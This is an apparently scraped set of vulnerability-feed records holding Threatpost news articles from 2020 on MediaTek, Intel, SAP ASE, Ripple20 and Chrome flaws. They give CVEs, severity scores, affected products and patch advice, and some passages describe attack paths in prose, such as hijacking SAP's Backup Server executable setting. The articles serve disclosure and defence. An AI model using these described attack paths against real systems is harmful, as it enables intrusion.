{"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:23:26", "description": "Google has addressed a high-severity flaw in MediaTek\u2019s Command Queue driver that developers said affects millions of devices \u2013 and which has an exploit already circulating in the wild.\n\nAlso in its March 2020 Android Security bulletin, [issued this week](<https://source.android.com/security/bulletin/2020-03-01>), Google disclosed and patched a critical security vulnerability in the Android media framework, which could enable remote code execution within the context of a privileged process.\n\nThe critical bug (CVE-2020-0032) can be exploited with a specially crafted file, according to the advisory. Other details were scant, but Google noted that it\u2019s the most concerning vulnerability out of the entirety of the March update.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe MediaTek bug meanwhile is an elevation-of-privilege flaw (CVE-2020-0069) discovered by members of XDA-Developers (a forum for Android software modifications) \u2014 they said the bug is more specifically a root-access issue. Even though the March update is the bug\u2019s first public disclosure, XDA members said [in a posting this week](<https://www.xda-developers.com/mediatek-su-rootkit-exploit/>) that an exploit for it has been floating around since April last year. And, they said that it is now being actively used by cybercriminals in campaigns.\n\n\u201cDespite MediaTek making a patch available a month after discovery, the vulnerability is still exploitable on dozens of device models,\u201d according to the alert. \u201cNow MediaTek has turned to Google to close this patch gap and secure millions of devices against this critical security exploit.\u201d\n\nAn XDA community member who goes by \u201cdiplomatic\u201d was looking to gain root access to Amazon Fire tablets, which runs on the Android OS, in order to get rid of what developers said is \u201cuninstallable bloatware\u201d on the devices. Amazon has locked the environment down to keep users within its walled garden, according to the developers.\n\n\u201cThe only way to root an Amazon Fire tablet (without hardware modifications) is to find an exploit in the software that allows the user to bypass Android\u2019s security model,\u201d according to the post. \u201cIn February of 2019, that\u2019s exactly what XDA Senior Member diplomatic did when he published a thread on our Amazon Fire tablet forums. He quickly realized that this exploit was far wider in scope than just Amazon\u2019s Fire tablets.\u201d\n\nIn fact, the exploit works on \u201cvirtually all of MediaTek\u2019s 64-bit chips,\u201d developers said, translating to millions of devices.\n\ndiplomatic\u2019s exploit is a script, dubbed \u201cMediaTek-su\u201d that grants users superuser access in shell. It also sets SELinux (the Linux kernel module that provides access control for processes), to the \u201chighly insecure \u201cpermissive\u201d state,\u201d according to the post.\n\n\u201cFor a user to get root access and set SELinux to permissive on their own device is shockingly easy to do: All you have to do is copy the script to a temporary folder, change directories to where the script is stored, add executable permissions to the script, and then execute the script,\u201d XDA members explained.\n\nAfter discovering the script and how dangerous it can be in February, the forum notified Google of the bug, members said. XDA noted that in January, Trend Micro [found three malicious spyware apps](<https://blog.trendmicro.com/trendlabs-security-intelligence/first-active-attack-exploiting-cve-2019-2215-found-on-google-play-linked-to-sidewinder-apt-group/>) in the Google Play Store, linked to the APT known as SideWinder. The analysis mentions in passing that the apps were using MediaTek-su to gain root access on Pixel devices \u2013 though XDA pointed out that researchers there likely didn\u2019t realize that MediaTek-su was an unpatched exploit and didn\u2019t think to notify vendors.\n\nThe consequences of a successful attack can be significant: With root access, any app can grant itself any permission it wants; and with a root shell, all files on the device, even those stored in private data directories of applications, are accessible.\n\n\u201cAn app with root can also silently install any other app it wants in the background and then grant them whatever permissions they need to violate your privacy,\u201d according to XDA members. \u201cAccording to XDA Recognized Developer topjohnwu, a malicious app can even \u2018inject code directly into Zygote by using ptrace,\u2019 which means a normal app on your device could be hijacked to do the bidding of the attacker.\u201d\n\nAlso in its March Android update, Google also patched a slew of other high-severity bugs and a handful of moderate flaws, across various components. In the media framework, Google addressed a high-severity elevation-of-privilege bug (CVE-2020-0033) and a high-severity information-disclosure issue (CVE-2020-0034) for instance. Other components with patches include the Android system, the Android framework, the Google Play system, the kernel and flexible printed circuits (FPC). It also issued advisories for high-severity bugs in third-party components, including from Qualcomm and the aforementioned MediaTek bug.\n\nAndroid partners and OEMs were notified of the issues at least a month before publication of the March update in order to give them time to issue patches, as [Samsung has done](<https://security.samsungmobile.com/securityUpdate.smsb>) as well as [Qualcomm](<https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin>). Source code patches for the issues were also released to the Android Open Source Project (AOSP) repository, according to the advisory.While the patch is now available, XDA members pointed out that MediaTek chipsets are found in dozens of budget and mid-tier Android devices from many different vendors, so the patching process is likely to take a while.\n", "cvss3": {}, "published": "2020-03-03T19:02:22", "type": "threatpost", "title": "MediaTek Bug Actively Exploited, Affects Millions of Android Devices", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-2215", "CVE-2020-0032", "CVE-2020-0033", "CVE-2020-0034", "CVE-2020-0069", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-03-03T19:02:22", "id": "THREATPOST:C7B22E2E8B3AB6D2FD4DA4F6C33951CF", "href": "https://threatpost.com/mediatek-bug-actively-exploited-android/153408/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:15:27", "description": "Intel is warning of a rare critical-severity vulnerability affecting several of its motherboards, server systems and compute modules. The flaw could allow an unauthenticated, remote attacker to achieve escalated privileges.\n\nThe recently patched flaw ([CVE-2020-8708](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8708>)) ranks 9.6 out of 10 on the CVSS scale, making it critical. Dmytro Oleksiuk, who discovered the flaw, told Threatpost that it exists in the firmware of Emulex Pilot 3. This baseboard-management controller is a service processor that monitors the physical state of a computer, network server or other hardware devices via specialized sensors.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/06145744/Threatpost_CC_webinar-269x300.png)](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)\n\nClick to register!\n\nEmulex Pilot 3 is used by various motherboards, which aggregate all the server components into one system. Also impacted are various server operating systems, and some Intel compute modules, which are electronic circuits, packaged onto a circuit board, that provide various functions.\n\nThe critical flaw stems from improper-authentication mechanisms in these Intel products before version 1.59.\n\nIn bypassing authentication, an attacker would be able to access to the KVM console of the server. The KVM console can access the system consoles of network devices to monitor and control their functionality. The KVM console is like a remote desktop implemented in the baseboard management controller \u2013 it provides an access point to the display, keyboard and mouse of the remote server, Oleksiuk told Threatpost.\n\nThe flaw is dangerous as it\u2019s remotely exploitable, and attackers don\u2019t need to be authenticated to exploit it \u2013 though they need to be located in the same network segment as the vulnerable server, Oleksiuk told Threatpost.\n\n\u201cThe exploit is quite simple and very reliable because it\u2019s a design flaw,\u201d Oleksiuk told Threatpost.\n\nBeyond this critical flaw, Intel also fixed bugs tied to 22 critical-, high-, medium- and low-severity CVEs affecting its server board, systems and compute modules. Other high-severity flaws include a heap-based overflow ([CVE-2020-8730](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8730>)) that\u2019s exploitable as an authenticated user; incorrect execution-assigned permissions in the file system ([CVE-2020-8731](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8731>)); and a buffer overflow in daemon ([CVE-2020-8707](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8707>)) \u2014 all three of which enable escalated privileges.\n\n[![intel flaw](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/11153612/intel-flaw-300x290.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/11153612/intel-flaw.png>)\n\nClick to enlarge.\n\nOleksiuk was credited with reporting CVE-2020-8708, as well as CVE-2020-8706, CVE-2020-8707. All other CVEs were found internally by Intel.\n\nAffected server systems include: The R1000WT and R2000WT families, R1000SP, LSVRP and LR1304SP families and R1000WF and R2000WF families.\n\nImpacted motherboards include: The S2600WT family, S2600CW family, S2600KP family, S2600TP family, S1200SP family, S2600WF family, S2600ST family and S2600BP family.\n\nFinally, impacted compute modules include: The HNS2600KP family, HNS2600TP family and HNS2600BP family. More information regarding patches is available in [Intel\u2019s security advisory](<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00384.html>).\n\nIntel also issued an [array of other security advisories](<https://www.intel.com/content/www/us/en/security-center/default.html>) addressing high-severity flaws across its product lines, including ones that affect [Intel Graphics Drivers](<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00369.html>), Intel\u2019s [RAID web console](<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00378.html>) 3 for Windows, [Intel Server Board M10JNP2SB](<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00386.html>) and [Intel NUCs](<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00392.html>).\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n\nWrite a comment\n\n**Share this article:**\n\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n", "cvss3": {}, "published": "2020-08-11T20:02:22", "type": "threatpost", "title": "Critical Intel Flaw Afflicts Several Motherboards, Server Systems, Compute Modules", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135", "CVE-2020-8706", "CVE-2020-8707", "CVE-2020-8708", "CVE-2020-8730", "CVE-2020-8731"], "modified": "2020-08-11T20:02:22", "id": "THREATPOST:8A8E859062970130E3F91D160F03325C", "href": "https://threatpost.com/critical-intel-flaw-motherboards-server-compute-modules/158270/", "cvss": {"score": 5.8, "vector": "AV:A/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:18:58", "description": "Researchers are urging users to apply patches for several critical vulnerabilities in SAP\u2019s Adaptive Server Enterprise (ASE). If exploited, the most severe flaws could give unprivileged users complete control of databases and \u2013 in some cases \u2013 even underlying operating systems.\n\nASE (previously known as Sybase SQL server) is SAP\u2019s popular database management software, targeted for transactional-based applications. ASE is used by more than 30,000 organizations globally \u2013 including 90 percent of the top banks and security firms worldwide, [according to SAP. ](<https://news.sap.com/2019/11/sap-ase-sap-iq-next-generation/>)\n\nResearchers disclosed six vulnerabilities that they discovered while conducting security tests for the latest version of the software, ASE 16 (SP03 PL08). While SAP has released patches for both [ASE 15.7 and 16.0 in its May 2020 update,](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=545396222>) researchers disclosed technical details of the flaws on Wednesday, saying \u201cthere is no question\u201d that the patches should be applied immediately if they haven\u2019t been already.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cFor the last several years there have been relatively few security patches for SAP Adaptive Server Enterprise (ASE),\u201d said Trustwave researchers [in a Wednesday analysis](<https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/system-takeover-through-new-sap-ase-vulnerabilities/>). \u201cNew security research conducted by Trustwave revealed a bunch of vulnerabilities in the current version of SAP\u2019s flagship relational database product. Historically, SAP ASE is widely used by the financial sector in the US and other countries.\u201d\n\nThe most severe vulnerability, [CVE-2020-6248](<https://www.google.com/search?client=safari&rls=en&q=CVE-2020-6248&ie=UTF-8&oe=UTF-8>), has a CVSS score of 9.1 out of 10. The flaw stems from a lack of security checks for overwriting critical configuration files during database backup operations. That means any unprivileged user who can run a DUMP command (used by database owners to back up the file system to storage devices) can send a corrupted configuration file, resulting in potential takeover of the database. This file will then be detected by the server and replaced with a default configuration \u2013 which allows anyone to connect to the Backup Server using the login and an empty password.\n\n\u201cThe next step would be to change the sybmultbuf_binary Backup Server setting to point to an executable of the attacker\u2019s choice,\u201d said researchers. \u201cSubsequent DUMP commands will now trigger the execution of the attacker\u2019s executable. If SAP ASE is running on Windows, the code will run as LocalSystem by default.\u201d\n\nAnother critical flaw ([CVE-2020-6252](<https://nvd.nist.gov/vuln/detail/CVE-2020-6252>)) was discovered affecting Windows installations of the SAP ASE 16. That bug exists in a small helper database (SQL Anywhere) used by the SAP ASE installation to manage database creation and version management. Specifically, the issue is in the Cockpit component of ASE, which is a web-based tool for monitoring the status and availability of SAP ASE servers. The issues stems from the password, used to login in to the helper database, being in a configuration file that is readable by any Windows user.\n\n\u201cThis means any valid Windows user can grab the file and recover the password to login to the helper SQL Anywhere database as the special user utility_db and then issue commands like CREATE ENCRYPTED FILE to overwrite operating system files (remember, the helper database runs as LocalSystem by default!) and possibly cause code execution with LocalSystem privileges,\u201d said researchers.\n\nIn another issue, researchers found clear text passwords in the ASE server installation logs: \u201cThe logs are only readable to the SAP account, but will completely compromise the SAP ASE when joined with some other issue that allows filesystem access,\u201d they said.\n\nResearchers also found two SQL injection flaws that could be abused to allow privilege escalation. One ([CVE-2020-6241](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6241>)) exists in global temporary tables in ASE 16, while the other ([CVE-2020-6253](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6253>)) stems from the WebServices handling code of ASE.\n\nThe final bug discovered was an XP Server flaw ([CVE-2020-6243](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6243>)) that could allow authenticated Windows users to gain arbitrary code execution (as LocalSystem) if they can connect to the SAP ASE.\n\n\u201cOrganizations often store their most critical data in databases, which, in turn, are often necessarily exposed in untrusted or publicly exposed environments,\u201d said researchers. \u201cThis makes vulnerabilities like these essential to address and test quickly since they not only threaten the data in the database but potentially the full host that it is running on.\u201d\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On _**[**_June 3 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_, join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, _**[**_Taming the Unmanaged and IoT Device Tsunami_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_. Get exclusive insights on how to manage this new and growing attack surface. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_ for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-06-03T16:51:39", "type": "threatpost", "title": "Critical SAP ASE Flaws Allow Complete Control of Databases", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135", "CVE-2020-6241", "CVE-2020-6243", "CVE-2020-6248", "CVE-2020-6252", "CVE-2020-6253"], "modified": "2020-06-03T16:51:39", "id": "THREATPOST:60965118E4D29480FABA6D1722EFA4AA", "href": "https://threatpost.com/critical-sap-ase-flaws-complete-control-databases/156239/", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:14:13", "description": "Intel patched a critical privilege escalation vulnerability in its [Active Management Technology](<https://threatpost.com/intel-amt-loophole-allows-hackers-to-gain-control-of-some-pcs-in-under-a-minute/129408/>) (AMT), which is used for remote out-of-band management of PCs.\n\nAMT is part of the Intel vPro platform (Intel\u2019s umbrella marketing term for its collection of computer hardware technologies) and is primarily used by enterprise IT shops for remote management of corporate systems. The flaw can be exploited by an unauthenticated attacker on the same network, in order to gain escalated privileges. The issue ([CVE-2020-8758](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8758>)), found internally by Intel employees, ranks 9.8 out of 10 on the CVSS scale, making it critical severity, according to Intel in a [Tuesday security advisory.](<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00404.html>)\n\n\u201cWhile we are not aware of the AMT issue being used in active attacks, Intel has provided detection guidance to various security vendors who have released signatures into their intrusion detection/prevention products as an extra measure to help protect customers as they plan their deployment of this update,\u201d Jerry Bryant, director of communications with Intel Product Assurance and Security, [said in a security advisory posted Tuesday](<https://blogs.intel.com/technology/2020/09/intel-september-2020-security-advisories/#gs.f1r5rk>).\n\n[![Threatpost Webinar Promo Bug Bounty](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/04091928/bounty_webinar_promo_small.gif)](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\nThe flaw stems from improper buffer restrictions in a third party component network subsystem within Intel AMT (and Intel\u2019s Standard Manageability solution, ISM, which has a similar function as AMT).\n\nOne important factor that impacts how difficult the flaw is to exploit is whether or not AMT is \u201cprovisioned.\u201d In order to use AMT, systems must go through a process called \u201cprovisioning.\u201d This process is used to connect the computer to a remote computer used to manage it (for instance, inserting a specially formatted USB drive).\n\nIf AMT is provisioned, it may allow an unauthenticated user to potentially enable escalation of privilege via network access. However, an attacker would need to be authenticated and have local access to exploit the flaw if the AMT system is unprovisioned (if the system is unprovisioned, the flaw also has a lower CVSS score of 7.8 out of 10).\n\n\u201cIf the platform is configured to use Client Initiated Remote Access (CIRA) and environment detection is set to indicate that the platform is always outside the corporate network, the system is in CIRA-only mode and is not exposed to the network vector,\u201d said Bryant.\n\nAffected are Intel AMT and Intel ISM versions before 11.8.79, 11.12.79, 11.22.79, 12.0.68 and 14.0.39.\n\n\u201cIntel recommends that users of Intel AMT and Intel ISM update to the latest version provided by the system manufacturer that addresses these issues,\u201d according to Intel\u2019s advisory.****\n\nIntel AMT has had security issues before. [Earlier in June](<https://threatpost.com/critical-intel-flaws-fixed-in-active-management-technology/156458/>), Intel patched two critical flaws ([CVE-2020-0594](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0594>) and [CVE-2020-0595](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0595>)) exist in the IPv6 subsystem of AMT. The flaws could potentially enable an unauthenticated user to gain elevated privileges via network access. And, a loophole in 2018 found in AMT [was discovered](<https://threatpost.com/intel-amt-loophole-allows-hackers-to-gain-control-of-some-pcs-in-under-a-minute/129408/>) that could have allowed an attacker to bypass logins and place backdoors on laptops, allowing adversaries remote access to laptops.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-08T20:34:34", "type": "threatpost", "title": "Critical Intel Active Management Technology Flaw Allows Privilege Escalation", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0594", "CVE-2020-0595", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-8758"], "modified": "2020-09-08T20:34:34", "id": "THREATPOST:FB2955E1812C33ECF441EDAEC41F4022", "href": "https://threatpost.com/critical-intel-active-management-technology-flaw-allows-privilege-escalation/159036/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:18:16", "description": "A series of 19 different vulnerabilities, four of them critical, are affecting hundreds of millions of internet of things (IoT) and industrial-control devices.\n\nThe issue is based in the supply chain and code reuse, with the bugs affecting a TCP/IP software library developed by Treck that many manufacturers use. Researchers at JSOF uncovered the faulty part of Treck\u2019s code, which is built to handle the ubiquitous TCP-IP protocol that connects devices to networks and the internet, in the devices of more than 10 different manufacturers\u2014and it\u2019s likely present in dozens more.\n\nAffected hardware includes everything from connected printers to medical infusion pumps and industrial-control gear, according to researchers at JSOF\u2019s research lab. Treck users include \u201cone-person boutique shops to Fortune 500 multinational corporations, including HP, Schneider Electric, Intel, Rockwell Automation, Caterpillar, Baxter, as well as many other major international vendors suspected of being of vulnerable in medical, transportation, industrial control, enterprise, energy (oil/gas), telecom, retail and commerce, and other industries,\u201d according to the research.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThe wide-spread dissemination of the software library (and its internal vulnerabilities) was a natural consequence of the supply chain \u2018ripple-effect,'\u201d researchers said [in a posting](<https://www.jsof-tech.com/ripple20/#ripple-whitepaper>) on Tuesday. \u201cA single vulnerable component, though it may be relatively small in and of itself, can ripple outward to impact a wide range of industries, applications, companies and people.\u201d\n\nThe flaws, dubbed Ripple20, include four remote code-execution vulnerabilities. If properly exploited, data could be stolen off of a printer, a medical device\u2019s behavior could be tampered with, or industrial control devices could be made to malfunction.\n\n\u201cAn attacker could hide malicious code within embedded devices for years. One of the vulnerabilities could enable entry from outside into the network boundaries; and this is only a small taste of the potential risks,\u201d according to JSOF.\n\n## **Vulnerability Details**\n\nThe Ripple20 bugs include four critical flaws. These include CVE-2020-11896, with a base score of 10 out of 10 on the CVSS severity scale, which can be triggered by sending multiple malformed IPv4 packets to a device supporting IPv4 tunneling.\n\n\u201cIt affects any device running Treck with a specific configuration,\u201d according to JSOF. \u201cIt can allow a stable remote code execution and has been demonstrated on a Digi International device. Variants of this issue can be triggered to cause a Denial of Service or a persistent Denial of Service, requiring a hard reset.\u201d\n\nThe critical bug tracked as CVE-2020-11897 meanwhile also carried a 10-out-of-10 severity, and is an out-of-bounds write flaw that can be triggered by sending multiple malformed IPv6 packets to a device. It affects any device running an older version of Treck with IPv6 support, and was previously fixed in a routine code change. It can potentially allow stable remote code execution, according to the writeup.\n\nAnother critical bug, CVE-2020-11901, ranks 9 out of 10 on the severity scale and can be triggered by answering a single DNS request made from the device. It can allow an attacker to infiltrate the network, execute code and take over the device with one vulnerability, bypassing any security measures.\n\n\u201cIt affects any device running Treck with DNS support and we have demonstrated that it can be used to perform remote code execution on a Schneider Electric APC UPS,\u201d according to JSOF. \u201cIn our opinion this is the most severe of the vulnerabilities despite having a CVSS score of 9, due to the fact that DNS requests may leave the network in which the device is located, and a sophisticated attacker may be able to use this vulnerability to take over a device from outside the network through DNS cache poisoning, or other methods.\u201d\n\nThe last critical bug is CVE-2020-11898, rating 9.1, which is an improper handling of length parameter inconsistency bug in the IPv4/ICMPv4 component, when handling a packet sent by an unauthorized network attacker. It can allow information disclosure.\n\nOther flaws range from high-severity 8.2 bugs (such as CVE-2020-11900, a use-after-free flaw) to low-severity improper input validation issues (such as CVE-2020-11913, rating only 3.7 in severity).\n\n\u201cThe other 15 vulnerabilities are in ranging degrees of severity with CVSS score ranging from 3.1 to 8.2, and effects ranging from denial of service to potential remote code execution,\u201d the firm said. \u201cMost of the vulnerabilities are true zero-days, with four of them having been closed over the years as part of routine code changes, but remained open in some of the affected devices (three lower severity, one higher). Many of the vulnerabilities have several variants due to the Stack configurability and code changes over the years.\u201d\n\nEffective exploitation can lead to a host of bad outcomes, the research firm warned, such as remote takeover of devices and lateral movement within the compromised network; broadcast attacks that can take over all impacted devices in the network simultaneously; hiding within an infected device for stealthy recon; and bypassing network address traversal (NAT) protections.\n\nJSOF will offer further details of the vulnerabilities [at the Black Hat USA virtual event](<https://threatpost.com/black-hat-usa-def-con-28-go-virtual/155606/>) in August.\n\nJonathan Knudsen, senior security strategist, Synopsys, noted that the Ripple20 disclosures illustrate endemic difficulties in software development.\n\n\u201cFirst, security must be integrated to every part of software development: From threat modeling during design to automated security testing during implementation, every phase of software development must involve security,\u201d he said via email. \u201cSecond, organizations that create software must manage their third-party components. The main reason for the far-reaching effects of the Ripple20 vulnerabilities is that they are vulnerabilities in a network component used by many organizations in many products. Each software development organization must understand the third-party components they are using to minimize the risk that they represent.\u201d\n\n## **Patches and Mitigation**\n\nTreck has issued a patch for use by OEMs in the latest Treck stack version (6.0.1.67 or higher). The challenge now is for those companies to implement it. In addition to advisories from ICS CERT, CERTCC and JPCERT/CC, [Intel](<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00295.html>) and [HP](<https://support.hp.com/in-en/document/c06640149>) have also issued alerts.\n\n\u201cWhile the best response might be to install the original Treck patch, there are many situations in which installing the original patch is not possible,\u201d according to the JSOF analysis. \u201cCERTs work to develop alternative approaches that can be used to minimize or effectively eliminate the risk, even if patching is not an option.\u201d\n\nBecause it\u2019s a supply-chain issue, affected products should be able to update themselves, Knudsen added \u2013 something that\u2019s not always the norm in the IoT and industrial-control sectors.\n\n\u201cUsing secure development practices and managing third-party components will result in fewer, less frequent updates,\u201d he explained. \u201cNevertheless, something will always go wrong and updates will always be necessary. Systems and devices must be able to update themselves securely, and the manufacturer must make a commitment to maintaining the software for some clearly stated time period.\u201d\n\nBased on CERT/CC and CISA ICS-CERT advisories, if gear can\u2019t be patched, admins should minimize network exposure for embedded and critical devices, ensuring that devices are not accessible from the Internet unless absolutely essential. Also, operational technology networks and devices should be segregated behind firewalls and isolated from any business networks.\n\nUsers can also take steps to block anomalous IP traffic, employ pre-emptive traffic filtering, normalize DNS through a secure recursive server or DNS inspection firewall and/or provide DHCP/DHCPv6 security, with features such as DHCP snooping, according to the CERTs.\n\n\u201cThe software library spread far and wide, to the point that tracking it down has been a major challenge,\u201d the researchers concluded. \u201cAs we traced through the distribution trail of Treck\u2019s TCP/IP library, we discovered that over the past two decades this basic piece of networking software has been spreading around the world, through both direct and indirect use. As a dissemination vector, the complex supply chain provides the perfect channel, making it possible for the original vulnerability to infiltrate and camouflage itself almost endlessly.\u201d\n\n**_Insider threats are different in the work-from home era. On _**[**_June 24 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/3265005683762389007?source=ART>)**_, join the Threatpost edit team and our special guest, Gurucul CEO Saryu Nayyer, for a FREE webinar, \u201c_**_**The Enemy Within: How Insider Threats Are Changing.\u201d **_**_Get helpful, real-world information on how insider threats are changing with WFH, what the new attack vectors are and what companies can do about it_**_**. **_[**_Please register here_**](<https://attendee.gotowebinar.com/register/3265005683762389007?source=ART>)**_ for this Threatpost webinar._**\n", "cvss3": {}, "published": "2020-06-16T16:22:09", "type": "threatpost", "title": "'Ripple20' Bugs Impact Hundreds of Millions of Connected Devices", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-11896", "CVE-2020-11897", "CVE-2020-11898", "CVE-2020-11900", "CVE-2020-11901", "CVE-2020-11913", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-06-16T16:22:09", "id": "THREATPOST:659B01C0432DD93535B729D005CCA9E8", "href": "https://threatpost.com/millions-connected-devices-ripple20-bugs/156599/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:21:53", "description": "On Thursday, Google released security patches to stomp out high-severity vulnerabilities in its Chrome browser. Patches for all the bugs Google disclosed in its security advisory roll out over the next few days.\n\nOverall, eight security bugs were addressed in Chrome [browser version 80.0.3987.162](<https://www.us-cert.gov/ncas/current-activity/2020/04/01/google-releases-security-updates-chrome>) for Windows, Mac, and Linux. The most severe of these flaws could allow for arbitrary code execution, according to the Center for Internet Security (CIS).\n\n\u201cSuccessful exploitation of the most severe of these vulnerabilities could allow an attacker to execute arbitrary code in the context of the browser,\u201d according to CIS [in a Wednesday alert](<https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-google-chrome-could-allow-for-arbitrary-code-execution_2020-044/>). \u201cDepending on the privileges associated with the application, an attacker could view, change, or delete data. If this application has been configured to have fewer user rights on the system, exploitation of the most severe of these vulnerabilities could have less impact than if it was configured with administrative rights.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>) \nAs is typical for Chrome updates, Google is initially scant in details of the bugs \u201cuntil a majority of users are updated with a fix.\u201d It did outline three of the vulnerabilities that were discovered by external researchers, however.\n\nThese included [two high-severity vulnerabilities](<https://chromereleases.googleblog.com/2020/03/stable-channel-update-for-desktop_31.html>) the WebAudio component of Chrome (CVE-2020-6450 and CVE-2020-6451). The WebAudio component is used for processing and synthesizing audio in web applications.\n\nThe flaws tied to CVE-2020-6450 and CVE-2020-6451 are both [use-after-free flaws](<https://threatpost.com/google-discloses-chrome-flaw-exploited-in-the-wild/149784/>). Use after free is a memory corruption flaw where an attempt is made to access memory after it has been freed. This can cause an array of malicious impacts, from causing a program to crash, to potentially leading to execution of arbitrary code.\n\n[According to vulnerability database Vuldb](<https://vuldb.com/?id.152684>), the flaw tied to CVE-2020-6450 could be exploited remotely and no form of authentication is required for exploitation. Both flaws were reported by Man Yue Mo of GitHub Security Lab on March 17.\n\nAnother vulnerability was discovered in the Media component of Chrome, which displays video and audio in browsers. The vulnerability (CVE-2020-6452) is a heap-based buffer overflow. A [buffer overflow](<https://cwe.mitre.org/data/definitions/122.html>) attack exists when a buffer (a region in physical memory storage used to temporarily store data) is allocated in the heap portion of memory (a region of process\u2019s memory which is used to store dynamic variables). That excess data in turn corrupts nearby space in memory and could alter other data, opening the door for malicious attacks. This flaw was reported by a researcher under the alias \u201casnine\u201d on March 9.\n\nThe CIS alert recommended that Chrome users \u201capply the stable channel update provided by Google to vulnerable systems 